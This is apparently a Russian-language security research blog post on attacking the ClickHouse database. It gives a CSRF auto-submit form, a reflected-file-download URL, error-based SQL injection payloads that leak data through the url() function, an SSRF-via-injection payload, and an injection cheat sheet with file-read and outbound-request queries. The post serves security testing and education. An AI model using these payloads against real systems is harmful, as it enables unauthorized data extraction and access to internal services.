In English: https://blog.deteact.com/yandex-clickhouse-injection/
В целях обработки большого количества данных в Яндекс.Метрике, Яндексом была создана колоночная СУБД ClickHouse. В рамках проектов по анализу защищённости мы встречали ClickHouse в системах статистики, сбора событий, в биржевых системах.
URL: https://clickhouse.yandex/
Введение
Главными преимуществами ClickHouse являются скорость, гибкость, масштабируемость, и основной областью применения являются системы аналитики.
Колоночные СУБД обеспечивают высокую производительность для задач, в которых необходимо часто запрашивать данные из одного столбца, и остальные данные из строки не нужны.
Благодаря используемой структуре хранимых данных, обращение идёт только к нужным столбцам, что существенно увеличивает скорость запросов. Также это позволяет эффективнее сжимать данные при хранении, потому что данные в одном столбце имеют общий тип.
Более детально про сравнение строковых и колоночных СУБД можно почитать здесь.
Особенности синтаксиса
Сами разработчики Clickhouse выделяют несколько существенных ограничений, которые есть в СУБД:
- Ограниченная поддержка JOIN
- Нет UPDATE и DELETE
- Слабая совместимость со стандартом SQL
Отсутствие привычных UPDATE и DELETE связано с особенностями архитектура хранения. Данные хранятся в колонках и чтобы просто удалить какую-то запись придется прочитать и мутировать n колонок.
Тем не менее, в 2018 году была добавлена поддержка ALTER UPDATE и ALTER DELETE. Чем они отличаются от стандартных UPDATE и DELETE:
- Выполняются асинхронно
- Не блокируют вставки
- Не блокируют запросы
- Не блокируют друг друга
В отличие от некоторых диалектов SQL, в ClickHouse строгая типизация. Не производится неявные преобразования между типами.
Вместо стандартного UNION для объединения запросов в ClickHouse используется UNION ALL:
Интересное для нас выражение INTO OUTFILE работает только в консольном клиенте. Через HTTP-интерфейс доступа к нему нет (https://github.com/yandex/ClickHouse/blob/9a0c3f4b820b4bf7bb2307f32dd902fdc7c4241d/dbms/programs/server/HTTPHandler.cpp#L625 )
Интересные возможности
В ClickHouse есть 2 сетевых интерфейса:
- HTTP
- Native TCP
Оба протокола могут быть также обёрнуты в TLS, но на практике мало кто это делает.
HTTP-интерфейс в ClickHouse позволяет легко написать коннектор к базе на любом языке.
При использовании HTTP-метода GET разрешены лишь запросы, не изменяющие данные, а чтобы изменять или создавать записи нужно использовать метод POST. При этом сам запрос можно передавать как в теле POST-запроса, так и в query string (как GET-, так и POST-запроса).
Как найти ClickHouse в сети? Ниже пример запроса для поиска публично доступных инстансов через Shodan:
В самом языке ClickHouse есть поддержка табличной функции url, которая позволяет обращаться к удалённым узлам по протоколам HTTP и HTTPS.
Также доступна табличная функция file, которая позволяет читать файлы из определенной директории, и обойти ограничение не получится.
Так как в ClickHouse встроен клиент MySQL, мы, разумеется, сразу подумали о чтении произвольных файлов через LOAD DATA LOCAL INFILE. Но выяснилось, что такая уязвимость действительно существовала, и её уже исправил внутренний отдел по ИБ яндекса. Также были исправлены уязвимости, связанные с JDBC-подключениями и возможностью инъекции в протокол через имя пользователя.
СVE: https://clickhouse.yandex/docs/ru/security_changelog/#ispravleno-v-relize-1-1-54390-ot-6-iiulia-2018
Патч (отключение возможности): https://github.com/yandex/ClickHouse/blob/875f78c5ee0ddc84366a76ec57d214d198581e54/libs/libmysqlxx/include/mysqlxx/Connection.h#L17
Полезную информацию можно получить из системных таблиц, они предоставляют доступ к информации состоянии системы, об имеющихся базах, таблицах и колонках (таблицы databases, tables, columns), о выполняющихся сейчас запросах (таблица processes) и т.д. Подробнее про системные таблицы: https://clickhouse.yandex/docs/ru/operations/system_tables/
Атаки на HTTP
Наличие у ClickHouse HTTP-интерфейса означает, что для этой СУБД могут быть актуальны некоторые атаки, специфичные для веб-приложений.
Reflected File Download
HTTP-интерфейс ClickHouse может позволять провести атаку Reflected File Download. Для этого необходимо выполнение одного из следующих условий:
- Если не установлен пароль
- Если пароль сохранен в браузере жертвы
- Если пароль установлен и мы его знаем
Пример запроса: http://clickhouse:8123/yandex.bat?query=select+’calc’
Как видно, в ответ веб-сервер отдаёт не ошибку 404, а файл (attachment) с контролируемым атакующим именем. Таким образом, можно скачать на компьютер жертвы исполняемый файл с любым содержимым.
CSRF
Как и в случае с RFD, эксплуатация CSRF возможна при отсутствии авторизации (или известном пароле).
Пример HTML-формы для проведения атаки:
1 2 3 4 |
<form action="http://clickhouse:8123/" method="POST" enctype="text/plain" id="test"> <input type="hidden" name="SELECT * FROM system.tables --" value="" /> </form> <script>document.getElementById('test').submit();</script> |
SSRF
Ещё одним следствием наличия HTTP-интерфейса является то, что при помощи атаки SSRF на другой интерфейс можно выполнить произвольные запросы в ClickHouse.
Для readonly-запросов достаточно будет метода GET. Если требуется авторизация, то логин и пароль можно передать в query string: ?username=…&password=…
Инъекции в ClickHouse
Error-based injection
Пример эксплуатации error-based инъекции через табличную функцию url в реальном приложении:
Результат выполнения подзапроса используется в качестве имени узла для HTTP-запроса при помощи функции url. Поскольку такого узла не существует, библиотека Poco (используется в ClickHouse) выбрасывает исключение, в тексте которого есть результат.
1 |
')+or+(select+c+from+url('http://'||arrayStringConcat((select+groupUniqArray(table)+from+system.columns),',+')||'','CSV','c+String'))=(' |
SSRF через SQL-инъекцию
Очевидно, функция url позволяет и провести атаку SSRF через SQL-инъекцию, ниже продемонстрировано получение доступа к AWS EC2 API:
На этот раз в функцию url мы подставляем результат выполнения функции url, таким образом, в тексте ошибки видим содержимое HTTP-ответа. Стоит отметить, что текст ошибки приводится к нижнему регистру (видно по подстроке «result» на скриншоте).
1 |
')+or+(select+c+from+url('http://RESULT-'||arrayStringConcat((select+groupArray(c)+from+url('http://127.0.0.1/','CSV','c+String')),unhex('0a'))||'','CSV','c+String'))=(' |
Cheat Sheet
Goal | Payload |
Version | SELECT version() |
Current DB | SELECT currentDatabase() |
List DB | SHOW databases OR SELECT * FROM system.databases |
List columns | SELECT * FROM system.columns |
List tables | SELECT * FROM system.tables |
Hostname | SELECT hostName() |
Concat | SELECT concat(‘one’,’two’) OR SELECT ‘one’||’two’ |
Comment | SELECT 1 /*comment*/ OR SELECT 1—comment |
Dummy table (dual) | SELECT * FROM system.one |
Current User | SELECT ‘current_user’,user FROM system.processes WHERE query LIKE ‘%current_user%’ |
Current os_user | SELECT os_user FROM system.processes |
HTTP request | SELECT * FROM url(‘http://server’, ‘CSV’, col String) |
Read file | SELECT * FROM file(‘nameFile’, ‘CSV’, col String) |
Unhex | SELECT unhex(‘746f62695f70697a6461’) |
Create an array of argument values | SELECT groupArray(x) |
Concat array of strings | SELECT arrayStringConcat(arr[, separator]) |
Connect to MySQL | mysql(‘host:port’, ‘database’, ‘table’, ‘user’, ‘password'[, replace_query, ‘on_duplicate_clause’]); |
JDBC connection | SELECT * FROM jdbc(‘jdbc:mysql://localhost:3306/?user=root&password=root’, ‘schema’, ‘table’) |
Спасибо за статью, очень интересно узнать про узявимости в такой мощной Big Data СУБД.